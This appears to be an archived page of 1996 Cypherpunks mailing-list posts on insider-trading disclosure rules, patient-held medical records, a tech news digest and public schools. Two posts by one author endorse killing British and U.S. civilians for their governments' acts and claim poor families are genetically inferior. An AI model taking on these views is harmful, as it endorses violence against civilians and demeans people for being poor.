knowledge, reputations, information markets, Higher Power: 2^1,257,787-1 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

2 1

Re: Insider Trading - What constitutes "Disclosure" ?
by azur＠netcom.com 17 Dec '03

17 Dec '03

>Posted-Date: Thu, 26 Sep 1996 00:40:14 -0400 >Date: Thu, 26 Sep 1996 00:40:14 -0400 (EDT) >From: Black Unicorn <unicorn(a)schloss.li> >X-Sender: unicorn@polaris >To: Steve Schear <azur(a)netcom.com> >Subject: Re: Insider Trading - What constitutes "Disclosure" ? >MIME-Version: 1.0 > >On Wed, 25 Sep 1996, Steve Schear wrote: > >> >Often the choice faced by the investor who has material non-public >> >information is characterized as "disclose or abstain," meaning that the >> >investor may either trade after disclosing or abstain from trading on the >> >information. >> > >> >A few people have asked me what constitutes disclosure. >> > >> >I've not researched the latest cases, but the generally accepted "best >> >description" can be found in SEC v. Texas Gulf Sulpher Co., 401 F.2d 833 >> >(2d Cir.1968), cert. denied. >> > >> > The reading of a news release, which promoted Coates into >> >action, is merely the first step in the process of dissemination required >> >for compliance with the regulatory objective of providing all investors >> >with an equal opportuinity to make informed investment judgements. >> >Assuming that the contents of the official release could have been >> >instantaneously be acted upon, at the minimum Coates should have waited >> >until the news could reasonably have been expcted to appear over the media >> >of widest circulation, the Dow Jones broad tape, rather than hastening to >> >insure an advantage to himself and his broker son-in-law. >> > >> >> It would seem to me that if I operated an open listserver, upon which >> financial information regularly appeared and which any trader (serious or >> otherwise) might subscribe, my information should be held in the same legal >> regard as DJ. > >I disagree. If the information appears only on your listserver it will >not, in my view, be considered released. You'll note above that the >reading of a news release, which eventually propogated to Canada and New >York, still was not enough to limit liability for Coates. I hardly think >a small circulation electronic mailing list will be considered sufficent >either. > >> If not, the SEC has in effect created a monopoly for >> Dow-Jones and its ilk and effectively impede or excluded other news sources >> (e.g., Internet feeds) as legit means for generating market awareness, and >> therefore revenue. > >Correct. > >> I and many others occassionally trade on public >> information from narrower sources than DJ (e.g., market newsletters). > >But you and others are (I hope) not insiders or direct tipees. >You also note that you trade on "public information." So long as you keep >it that way you should be alright. > >You will be putting yourself in a interesting position if material >non-public information ever shows up on your newsletter and is later the >subject of investigation. > >> Sometimes DJ and others pick up info from these sources and sometimes they >> don't (or not immediately). Does that mean those trading on this data >> published not yet picked up by DJ may be trading illegally? If so, this is >> totally unjust and wrongheaded. > >The case mans what it says. Until the information reaches the sources of >largest distribution it is still "non-public." What is a source of >largest distrubution? Ask a judge. I would simply be careful and >prudent. You could easily be in trouble for trading on information which >you "knew or should have known was material, non-public information." > >There is, of course, a distinction between the trader who reads an article >and trades on it and a trader who hears over a mailing list from a >corporate insider that a major fraud in the company has been discovered. > >If your newsletter carries hints of the big merger before it happens and a >trader later points to it as the source of his tip, you could be in >serious trouble. God forbid they get it in your head that you are >distributing inside information. Of course you can imagine the headlines. > >"Internet crime network foiled. Hundreds of subscribers capitalize on >inside information." > >As for unjust and wrongheaded, welcome to the American concept of >securities regulation. > >> -- Steve > >-- >I hate lightning - finger for public key - Vote Monarchist >unicorn(a)schloss.li >

1 0

Re: AP
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

Derek Bell <dbell(a)maths.tcd.ie> writes: > In message <si4RuD1w165w(a)bwalk.dm.com>, "Dr.Dimitri Vulis KOTM" writes: > >Yes, I do. > > I'm not sure what you mean here. Is it: > 1. You hold people respobsible for what they did, not what their government > did. (Assuming said people didn't take part in what the government did.) > > 2. You agree that the IRA could justify killing any British citizen, even if > said citizen supported the IRA or agreed with its aims. > > 3. Something else. (Please specify.) (Redirected to the list.) Any British citizen, irrespective of s/he thinks about the IRA, has benefited economically from the 800 years of pillaging and genocide in Ireland. I see no problem if they pay with their lives for these crimes. Likewise I see no problem if U.S. civilians pay with their lives for their government's crimes in Iraq, even if they happen to disapprove of these crimes. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

2 1

Re: Medical Data
by tcmay＠got.net 17 Dec '03

17 Dec '03

At 4:27 PM 9/25/96, Asgaard wrote: >On Tue, 24 Sep 1996, Timothy C. May wrote: > >> Why can't patients carry their _own_ medical records, and disclose what >> they wish to disclose to doctors and hospitals, as they see fit? Whether >> implemented in a high-tech version, as a "smart card," or a low-tech >> version, as a "dossier" (a file folder), the principle's the same. > >One problem is when a patient is suing his doctor, but claiming that his >'dossier' was lost in a fire. The doctor then has to defend himself >with only 'your word against mine' instead of having his own account >of what was happening on file, including test results etc that could >be very interesting for the defence. Well, this is a potentially confusing hypothetical, and a short paragraph description doesn't do it justice. - did not the patient have backups? if not, why not? - the doctor will have records of what _he_ did, and records of _what was disclosed to him_ by the patient. This should be enough, as his "end" has done exactly what was agreed to. (Indeed, the unrevealed parts of the dossier are not known to him, but then they were "unrevealed," which is the whole point. That the "unrevealed" parts were lost or destroyed in a head crash, or whatever, is not germane at all.) --Tim May We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1,257,787-1 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

1 0

Edited Edupage, 19 Sept 1996
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"educom(a)educom.unc.edu" 20-SEP-1996 01:52:41.56 >***************************************************************** >Edupage, 19 September 1996. Edupage, a summary of news about information >technology, is provided three times a week as a service by Educom, >a Washington, D.C.-based consortium of leading colleges and universities >seeking to transform education through the use of information technology. >***************************************************************** >LUCENT'S NET SOFTWARE MAKES INTERNET PHONE CALLS EASY >New software developed by Lucent Technologies is designed to give Internet >callers quicker access to one another and allows them to converse via their >computers as if they were on a regular speaker-phone. Previous software has >been half-duplex -- one party must stop speaking before the other can >"capture" the line. Lucent plans to market the software to AT&T, the Bell >companies and Internet service providers for distribution to their >customers. By the end of the year, Lucent plans to enhance the software so >that users can videoconference over the Internet. (Wall Street Journal 18 >Sep 96 B8) I'd wonder if a patch can be built to encrypt each packet as it goes out? I'm guessing that what they've done is improve the voice compression, so there will be a relatively small amount of data to encrypt. >PROGRAMMABLE COMPUTER CHIPS >Next month, Metalithic Systems Inc. will release a $1500 sound board called >Digital Wings that uses field-programmable gate array computer chips that >can be personalized, allowing the user to create and edit up to 128 >soundtracks. When used in combination with Windows 95, Digital Wings will >give users access to audio synthesis and editing tools comparable to those >of a professional sound studio. (Business Week 23 Sep 96 p86) I wonder exactly how reprogrammable this system is... >Edupage is written by John Gehl <gehl(a)educom.edu> & Suzanne Douglas ><douglas(a)educom.edu>. Voice: 404-371-1853, Fax: 404-371-8057. >Technical support is provided by Information Technology Services at the >University of North Carolina at Chapel Hill. >*************************************************************** >Edupage ... is what you've just finished reading. To subscribe to Edupage: >send mail to: listproc(a)educom.unc.edu with the message: subscribe edupage >Alfred Adler (if your name is Alfred Adler; otherwise, substitute your own >name). ... To cancel, send a message to: listproc(a)educom.unc.edu with the >message: unsubscribe edupage. (If you have subscription problems, send >mail to manager(a)educom.unc.edu.)

1 0

Re[2]: your mail
by saunders＠mcgraw-hill.com 17 Dec '03

17 Dec '03

whose list is this, and why am I on it? Please delete my name now. ______________________________ Reply Separator _________________________________ Subject: Re: your mail Author: Robert Steele <ceo(a)oss.net> at CCNODE Date: 9/25/96 11:55 AM Requiring people to call Betty to tell her they sent email is very low rent and will discredit the site. Recommend you delete that element. Like putting roller skates on a horse!

1 0

Re: [RANT] Public schools
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

Jay Gairson <erp(a)digiforest.com> writes: > First off, what does this have to do with cryptography? or anything > cypher for that matter? Nothing. Neither does most other stuff posted to this list. > On Tue, 24 Sep 1996, Dr.Dimitri Vulis KOTM wrote: > > > > > U.S. public school system is darwinian evolution in action. Parents who > > > > afford to send their kids to private schools, do so. Parents who send t > > > > kids to public schools deserve to have their offsprings fucked up, ment > > > > and phsyically, to improve the species' gene pool. > > So, basically your saying, since my parents cannot afford to pay for a > private school for me, we are genetically inferior to those who can? In general, on the average, yes. > Because hate tell ya, but I've ran into some major idiots that go to > private schools. Also to consider that from the school I go to, last > year we had two perfect sat scores (no problems missed). Oh yes - I've seen idiots at private schools and I've seen smart kids at public schools. They're exceptions. Judging from your abuse of the English language, you're not. The cirricula at public schools and the SAT requirements are pretty lame, so any kid willing to spend enough time on them can become a straight A student and feel good about himself/herself. I'm not impressed. > > > But the cutoff is often whether the parents can afford to send their kids > > > to private school, not whether or not they're genetically superior. > > > > You must have attended a public school if you don't understand that geentic > > superiority leads to economic success. My older kid goes to a private scho > > The parents are obviously genetically superior to public school parents. > > I am assuming from what you have said in that statement, that you believe > since he may have gone to a public school, it has made him have the > opinion he does? Opinions change. His snotty attitude toward learning, his propensity to wallow in his stupidity and ignorance the way a pig wallows in its own excrement is a trait commonly acquired in the U.S. public school system. > Also, in your statement that your older kid goes to a private school, and > that the parents are obviously genetically superior to public school > parents. You seem to be saying that YOU are genetically superior to my > parents? I believe myself to be genetically superior to the vast majority of the population. Not knowing much about your parents, other than they can't afford to send you to a better school, I assume that they're part of this vast majority. (Make it both intellectually and physically superior. :-) > Another thing to consider here is, from this line of statements, you are > saying that children who have parents who made it well in, let us say the > movie buisness (or even drug buisness), and then send there children to > public schools, are genetically superior because they can act (lie) > better than my parents. For if this is so, that must mean that my aunt > is genetically superior to my mother (who is a teacher at a private > school, but she did not go to a private school) and to her parents, for > she is making more money, and if she ever has children they will be > genetically superior to me, because they will have more money? In general, on the average, yes. I believe that being able to afford a good private school for one's kids is a trait correlated to desirable traits, some of which are inherited by the kids who benefit from the better education. That's eugenics in action. > > Push vouchers. What's the cryptorelevance of your comments, anyway? > > > > Umm, where you not the one that started this conversation? Nope. > > No, on the contrary, sending poor kids to good schools on scholarships > > does not improve their genes. They tend to become drug dealers. > > Hate to inform you on this but, it is more often than not the children > sent by there rich mama and papa to school, that end up on drugs or as > drug dealers, than the ones that start out with scholarships (For the > ones with scholarships have more to loose, than the ones with the rich > mama and papa, for the rich mama and papa can afford the big expensive > lawyer.). Just look at the studies and such done on this type of area. Can you site any such studies? They certainly contradict what I know about this area, and I consider myself pretty well-informed. > Also you have to consider that generally the ones that end up as drug > dealers, are the children who have parents that where drug dealers and > such or had experience in such, or just had parents who didn't care what That's pretty much what I said. Other disciplinary problems (poor attendance, talking back to teachers, weird dress, sex, etc) also tend to be associated with the poor kids admitted on scholarships. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0